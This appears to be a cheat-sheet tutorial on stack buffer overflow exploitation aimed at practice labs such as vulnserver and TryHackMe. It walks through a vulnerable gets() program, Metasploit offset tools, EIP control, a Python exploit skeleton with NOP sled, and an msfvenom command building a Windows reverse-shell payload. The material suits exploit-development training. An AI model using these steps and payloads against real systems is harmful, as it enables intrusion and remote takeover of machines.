02/05/2026
π₯ BUFFER OVERFLOW COMPLETE GUIDE
Learn to exploit memory corruption vulnerabilities:
π STACK BASICS:
int main() {
char buffer[64]; // 64 bytes allocated
gets(buffer); // Vulnerable function!
return 0;
}
π OVERFLOW MECHANICS:
1. Buffer overflows stack
2. Overwrites return address
3. Points to shellcode in memory
π FINDING VULNERABILITY:
# Create pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# Send pattern to application
# Find offset with pattern_offset.rb
π EXPLOIT STEPS:
1οΈβ£ GENERATE PATTERN:
msf-pattern_create -l 200
2οΈβ£ FIND OFFSET:
msf-pattern_offset -l 200 -q "AAAA..."
3οΈβ£ CONTROL EIP:
offset = 146
buffer = "A" * 146 + "B" * 4 + "C" * 200
4οΈβ£ FIND BAD CHARS:
# Remove null bytes (οΏ½)
# Test all chars -ΓΏ
# Analyze which get mangled
5οΈβ£ FIND JUMP ADDRESS:
# Find address pointing to NOP sled or shellcode
!mona jmp -r esp -cpb "οΏ½"
# Or use objdump to find gadgets
6οΈβ£ CREATE EXPLOIT:
#!/usr/bin/python3
import os
offset = 146
ret = b"\x55\x83\x04\x08" # jmp esp address
nop = b"\x90" * 20
shellcode = b"..." # Your payload
buffer = b"A" * offset + ret + nop + shellcode
π GENERATE SHELLCODE:
# Using msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f python -b "\x00\x0a\x0d"
# Options:
# -f c, python, exe
# -b remove bad chars
# -e encoder
π COMMON SHELLCODE LOCATIONS:
# NOP Sled (No Operation)
"\x90" * 20 # Slide to shellcode
# Egg Hunter
nopsled + egg + shellcode
# Use when buffer is small
π PRACTICE:
β’ vulnserver (Windows)
β’ brainpan (Linux)
β’ protostar (exploit-exercises)
β’ tryhackme.com Buffer Overflow room
